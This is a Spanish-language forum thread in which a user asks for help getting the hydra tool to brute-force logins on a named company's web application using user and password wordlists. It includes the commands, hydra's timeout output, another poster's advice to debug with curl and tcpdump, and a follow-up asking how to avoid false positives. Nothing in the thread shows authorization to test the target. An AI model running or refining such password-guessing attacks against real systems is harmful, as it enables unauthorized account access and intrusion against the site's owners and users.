Por cierto se me olvido ponerlo, en provincia no hace falta poner nada, solo user y pass.

gracias por responder¡¡

el comando que estaba usando era:

hydra -L users.txt -P passwords.txt service http-get /scorpweb.grupocobra.com:5566/scorpweb2/

con tus indicaciones pongo:

hydra -L users.txt -P passwords.txt -s 5566 service http-post-form /scorpweb.grupocobra.com:5566/scorpweb2/

y me responde:

Hydra v6.0 (c) 2011 by van Hauser / THC - use allowed only for legal purposes.
Hydra (http://www.thc.org) starting at 2015-02-23 17:54:39
[DATA] 5 tasks, 1 servers, 5 login tries (l:1/p:5), ~1 tries per task
[DATA] attacking service http-post-form on port 5566
[STATUS] attack finished for service (waiting for childs to finish)
Process 17526: Can not connect [timeout], process exiting
Process 17523: Can not connect [timeout], process exiting
Process 17527: Can not connect [timeout], process exiting
Process 17525: Can not connect [timeout], process exiting
Process 17524: Can not connect [timeout], process exiting
Hydra (http://www.thc.org) finished at 2015-02-23 17:55:10

que hago mal? gracias de nuevo¡¡

intenta con curl y mira las cabeceras http y asi puedes ver lo que retorna al servidor, puede que de 200 OK o no ?

intenta hacer tcpdump tambien pasandole algo como -X -l -n y mira que ocurre cuando ejecutas hydra.

ya he conseguido hacer que funcione, ahora tengo una pregunta, ¿como hago que los resultados que me de sean correctos al 100%?
lo que me ocurre ahora, es que de vez en cuando no se si es que el servidor se queda sin responder unos segundos y durante ese tiempo las passwords que prueba las da como validas, y he comprobado el diccionario y son passwords correlativas, hay alguna manera de evitar eso?

un saludo